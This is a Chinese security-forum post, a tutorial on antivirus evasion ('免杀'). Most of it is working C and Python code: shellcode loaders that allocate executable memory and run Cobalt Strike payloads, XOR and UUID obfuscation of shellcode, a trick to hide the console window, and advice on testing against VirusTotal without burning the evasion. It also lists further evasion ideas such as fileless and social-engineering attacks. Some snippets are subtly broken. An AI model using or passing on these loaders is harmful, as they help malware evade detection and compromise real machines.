安全矩阵

 找回密码
 立即注册
搜索
查看: 444|回复: 0

来来回回只会用工具 看了也不懂的免杀常用技巧

[复制链接]

57

主题

57

帖子

181

积分

注册会员

Rank: 2

积分
181
发表于 2024-6-16 11:38:14 | 显示全部楼层 |阅读模式

发现一位专家撰写的关于免杀技术的详细文章,这激发了强烈兴趣。我深入阅读并学习了这位专家的免杀方法,现在撰写了这篇文章,旨在澄清和理解之前我不太明白的概念。

基础

所谓的免杀技术,全称是反杀毒技术,英文名为"Anti Anti-Virus",简称"免杀"。它是一种技术,能够使病毒或木马程序逃避杀毒软件的检测和查杀。

杀毒软件的检测方法

常见的扫描技术包括:压缩文件扫描、程序变更保护、修复技术、急救盘扫描、智能扫描、全面扫描、勒索软件防护、系统启动扫描。

监控技术则涵盖:内存监控、文件监控、电子邮件监控、网页防护、行为分析。

扫描引擎的关键技术手段有:特征码匹配、文件完整性校验、进程行为分析(沙盒技术)、云计算扫描、主动防御策略、以及基于机器学习的识别技术。

免杀技术概述
  • 修改特征码
    免杀技术的核心思想在于破坏病毒或木马的特征。这可以是代码特征,也可以是行为特征。关键是在破坏这些特征的同时,保持程序的功能不变,从而实现免杀。

  • 花指令免杀
    花指令指的是一些无实际意义的指令,也被称作垃圾指令。它们的存在对程序的执行结果无影响,但能有效干扰反汇编工具,为分析设置障碍。

  • 加壳免杀
    软件加壳,或称为软件加密或压缩,是一种保护措施。它不破坏程序内部结构,而是在运行时首先执行外壳,外壳随后将加密的程序解密并还原到内存中,最后执行程序本身。

  • 内存免杀
    由于CPU不是为特定加壳软件设计的,它无法直接理解加壳后的可执行代码。因此,在执行时,需要先解密原软件,并将其放入内存,然后CPU才能执行。

  • 二次编译
    metasploit的msfvenom工具提供了多种payload和encoder,允许生成的shellcode进行二次加工,虽然这已被安全厂商密切关注。

  • 分离免杀
    分离免杀技术通过将ShellCode与加载器分开来实现。由于加载器本身不包含恶意代码,也不包含恶意软件的特征码,因此能有效规避基于特征码的检测。当加载器运行时,它从外部加载并执行shellcode,从而实现免杀。


入门一点点

在本次实践中,我们使用的编程语言是C/C++,尽管也可以使用其他语言来达到可能更佳的效果。

首先,我们利用CS(或者MSF也可以)来生成shellcode。

动态内存申请加载

以下代码段展示了如何申请一块动态内存,并加载shellcode。

#include <stdio.h>
#include <Windows.h>

unsigned char buf[] = "";

int main() {
    char* Memory;

    Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(Memory, buf, sizeof(buf));
    ((void(*)())Memory)();
    return 1;
}

使用Visual Studio 2019进行编译,编译后按下CTRL+B来生成可执行文件(exe)。

在项目的根目录下,进入x64\Release文件夹,在那里你可以找到生成的exe文件并执行它,此时CS(Cobalt Strike,一种常用的渗透测试工具)也成功上线。

接下来,让我们尝试使用VT(VirusTotal,一个在线的多引擎病毒扫描平台)进行检测。

建议避免频繁地在VT(VirusTotal)上运行检测,因为多次提交可能会导致检测效果逐渐降低。

XOR加密过程

现在,我们将使用Python对shellcode进行XOR加密处理。

#!/usr/bin/env python
# encoding: utf-8

'''
@Author         : ds
@Description    : shellcode--XOR加密
'''

import random

buf = b"""[shellcode]"""  # 此处应为实际的shellcode

key = random.randint(30, 90)

def encrypt():
    print("key:%s" % key)
    i = 1
    st = ''
    for c in buf:
        if i == key:
            i = 1
        st += '%#x' % (c ^ i)
        i += 1

    st = st.replace("0x", "\\x")
    print(st)

if __name__ == "__main__":
    encrypt()

执行这段脚本后,它将输出一个随机生成的key值以及对应的加密后的shellcode。这些信息对于后续的解密和执行过程至关重要。

以下是重写后的代码,用于将加密后的shellcode加载到内存并执行:

#include <stdio.h>
#include <Windows.h>
#include <string.h>

int main() {
    unsigned char encryptedShellcode[] = ""; // 此处填入加密后的shellcode
    int key = ; // 此处填入key值

    unsigned char buf[sizeof(encryptedShellcode)];
    int len = sizeof(encryptedShellcode);
    int j = 1;
    for (int i = 0; i < len; ++i) {
        if (j == key) j = 1;
        buf = encryptedShellcode ^ j;
        ++j;
    }

    char* addr;
    addr = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (addr == NULL) return -1;

    memcpy(addr, buf, sizeof(buf));
    ((void(*)())addr)();

    return 0;
}

在填充加密后的shellcode和key值后,使用Visual Studio 2019进行编译。编译完成后,按下CTRL+B生成exe文件。执行生成的exe文件后,Cobalt Strike(CS)能够成功上线,表明shellcode已成功加载并执行。

请注意,加密后的shellcode和key值需要替换到代码中的相应位置。

UUID转换

首先,我们将使用Python将shellcode转换成UUID格式的字符串数组。

#coding=utf-8
import uuid

# 假设你的shellcode是这样的:xfc48x83xe4xf0xe8xxx
buf = b"""[shellcode]"""

def convertToUUID(shellcode):
    # 如果shellcode的长度不是16的倍数,则在末尾添加一些nullbytes
    if len(shellcode) % 16 != 0:
        print("[-] Shellcode长度不是16字节的倍数")
        print("[-] 在shellcode末尾添加nullbytes,这可能会破坏你的shellcode")
        print("\n

  • 修改后的shellcode长度: ", len(shellcode) + (16 - (len(shellcode) % 16)))

            addNullbyte = b"\x00" * (16 - (len(shellcode) % 16))
            shellcode += addNullbyte

        uuids = []
        for i in range(0, len(shellcode), 16):
            uuidString = str(uuid.UUID(bytes_le=shellcode[i:i + 16]))
            uuids.append(uuidString.replace("'", "\""))
        return uuids

    u = convertToUUID(buf)
    print(str(u).replace("'", "\""))

    执行上述脚本,你将获得一个由UUID字符串组成的数组。

    注意:请将[shellcode]替换为你的实际shellcode。这段代码将确保shellcode的长度是16的倍数,如果不是,它将在末尾添加nullbytes(\x00),这可能会影响shellcode的功能。因此,在使用此脚本之前,请确保shellcode长度适当或进行适当的调整。

    下面是重写后的代码,用于将shellcode加载到内存并执行。注意,C语言数组使用的是{}而非[],因此需要将Python生成的UUID数组中的[]替换为{}。

    #include <stdio.h>
    #include <Windows.h>
    #include <string.h>
    #include <wincrypt.h>

    const char *uuids[] = {/*uuid数组*/};

    int main() {
        int len = sizeof(uuids)/sizeof(char*);
        char* addr = NULL;

        addr = (char*)HeapCreate(0x00040000, 0, 0);
        if (addr == NULL) return -1;

        if (!VirtualAlloc(addr, 0x100000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) {
            return -1;
        }

        char* addrPtr = addr;
        for (int i = 0; i < len; ++i) {
            byte* u = (byte*)uuids;
            RPC_STATUS rpcStatus = UuidFromStringA(u, (UUID*)addrPtr);
            if (rpcStatus != RPC_S_OK) return -1;
            addrPtr += 16;
        }

        // 执行转换后的shellcode
        ((void(*)())addr)();

        return 0;
    }

    在上述代码中,我们改变了申请动态内存的方式,并调整了加载到内存中的方法,以规避部分杀毒软件的监控,从而提高免杀的成功率。

    接下来,使用Visual Studio 2019进行编译。如果在编译过程中出现错误,通常是由于缺少依赖项。此时,需要按照以下步骤添加依赖项:

    • 右键点击项目,选择“属性”。
    • 在“链接器”选项卡中,选择“输入”。
    • 在“附加依赖项”编辑框中,添加rpccrt4.lib和ntdll.lib。
    • 点击“确定”保存设置。
    • 按下CTRL+B编译生成exe文件。

    请注意,您需要将{/*uuid数组*/}替换为实际的UUID字符串数组。此外,确保在执行编译之前,所有必要的UUID字符串都已正确转换并放置在数组中。

    在目标机器上执行exe文件后,Cobalt Strike(CS)成功建立了连接:

    在接下来的步骤中,我们将利用VirusTotal(VT)对生成的可执行文件(exe)进行检测:

    执行并获取UUID字符串数组后,我们已经将shellcode加载到内存并成功执行,靶机上的Cobalt Strike也已上线。现在,为了进一步测试我们的免杀效果,我们将使用VirusTotal进行扫描。

    注意:在实际操作中,频繁地将同一文件上传到VirusTotal可能会使安全软件的厂商对该文件进行更深入的分析,从而降低免杀的成功率。因此,建议仅在必要时才进行VT扫描,并且尽可能地优化和更新免杀技术以应对不断变化的安全检测环境。

    效果令人满意,但有人注意到在靶机上运行exe文件时会出现一个黑框窗口。

    为了去除这个黑框,我们可以在代码中加入特定的编译指令,以避免控制台窗口的显示。以下是修改后的代码片段:

    // 添加以下编译指令以避免显示控制台窗口
    #pragma comment(linker,"/subsystem:windows /entry:mainCRTStartup")

    通过添加这个指令,编译后的程序将不会显示黑框窗口,使得程序的运行更加隐蔽。

    注意:请确保在合法和授权的范围内进行渗透测试和安全研究。未经授权的访问或测试可能会违反法律,并导致严重的法律后果。

    现在,您可以重新编译生成exe文件,并再次使用VirusTotal进行检测,以验证免杀效果。

    仅仅增加了一行代码,安全供应商的检测率就上升了好几倍,这表明即使是微小的变化也可能对免杀效果产生显著影响。

    因此,建议采取其他方法来实现相同的效果,可能会带来更好的结果。例如,可以考虑以下替代方案:

    • 使用不同的入口点:更改程序的入口点,不使用标准的mainCRTStartup,而是使用其他函数作为程序的起点。

    • 自定义窗口样式:如果程序需要有窗口,可以自定义窗口的样式,使其不那么明显。

    • 隐藏窗口:使用Windows API来创建一个隐藏的窗口,而不是控制台窗口。

    • 优化代码:检查代码中是否有其他可能引起安全软件注意的部分,并进行优化。

    • 使用加壳或加密技术:对程序进行加壳或加密处理,以规避安全检测。

    • 多态引擎:使用多态引擎生成每次执行都不同的代码模式,增加检测难度。

    • 混淆技术:应用混淆技术,使得代码难以被分析和理解。


    小结

    在实践中使用的杀毒软件通常都是面向个人用户的版本。为了持续有效地进行免杀技术的研究和实践,需要大家不断地探索和发现新的、不常见的函数和方法。

    探索新的免杀方法

    • 研究未知函数:深入研究Windows API或其他库中不常用或未知的函数,这些函数可能没有被安全软件充分监控。

    • 自定义加密算法:开发自定义的加密或编码技术来隐藏恶意代码,使其避免触发杀毒软件的检测。

    • 利用系统漏洞:关注和研究新发现的系统漏洞,利用这些漏洞进行提权或执行其他操作,可能绕过一些安全检测。

    • 文件less攻击:开发无文件攻击技术,例如利用PowerShell或其他脚本语言执行恶意活动,避免在磁盘上留下可扫描的文件。

    • 利用云服务:使用云服务作为攻击的中转站,通过云服务执行恶意代码,增加追踪和检测的难度。

    • 社会工程学:结合社会工程学技巧,诱使目标用户执行某些操作,绕过技术层面的安全措施。

    • 持续学习:随着安全技术的不断进步,持续学习新的技术和方法,保持对最新安全动态的了解。

    • 社区交流:参与安全社区,与其他安全研究人员交流心得,分享发现,共同提高。



  • 本帖子中包含更多资源

    您需要 登录 才可以下载或查看,没有帐号?立即注册

    x
    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    小黑屋|安全矩阵

    GMT+8, 2024-11-27 23:54 , Processed in 0.017988 second(s), 19 queries .

    Powered by Discuz! X4.0

    Copyright © 2001-2020, Tencent Cloud.

    快速回复 返回顶部 返回列表